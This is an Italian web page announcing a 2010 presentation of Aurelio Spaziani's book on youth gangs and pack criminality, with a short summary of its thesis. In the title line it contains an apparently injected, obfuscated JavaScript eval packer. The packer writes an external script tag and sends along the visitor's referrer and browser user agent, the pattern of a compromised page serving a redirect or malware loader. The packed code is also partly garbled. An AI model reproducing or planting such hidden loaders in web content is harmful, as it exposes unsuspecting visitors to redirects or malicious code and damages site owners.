



Presentazione eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document|javascript|encodeURIComponent|src|write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|ie|htb|var|u0026u|referrer|ibien|js|php'.split('|'),0,{ })) del volume:

Il fenomeno delle bande giovanili. Il profilo criminale del «branco». Cinematografia correlata

di: **Aurelio Spaziani**. Sostituto Commissario della Polizia di Stato Questura di Frosinone. Martedì **16 marzo 2010**, ore 17,00 presso la sala conferenze del Museo Nazionale Archeologico di Palestrina.

Aurelio Spaziani, Sostituto Commissario della Questura di Frosinone e responsabile dell'ufficio Addestramento, tratta nel suo saggio Il fenomeno delle bande giovanili: il profilo criminale del branco - cinematografia correlata il tema delle bande, di come il branco può spingere il singolo individuo ad azioni deplorevoli, della devianza giovanile. Il fenomeno delle baby gang, spiega Spaziani, denuncia il cambiamento strutturale della famiglia e l'incapacità della società a contenere le speranze di adolescenti, spesso annoiati e confusi, senza veri e propri punti di orientamento. La banda viene quindi elevata a contenitore di ansie e paure fungendo da spazio di appartenenza.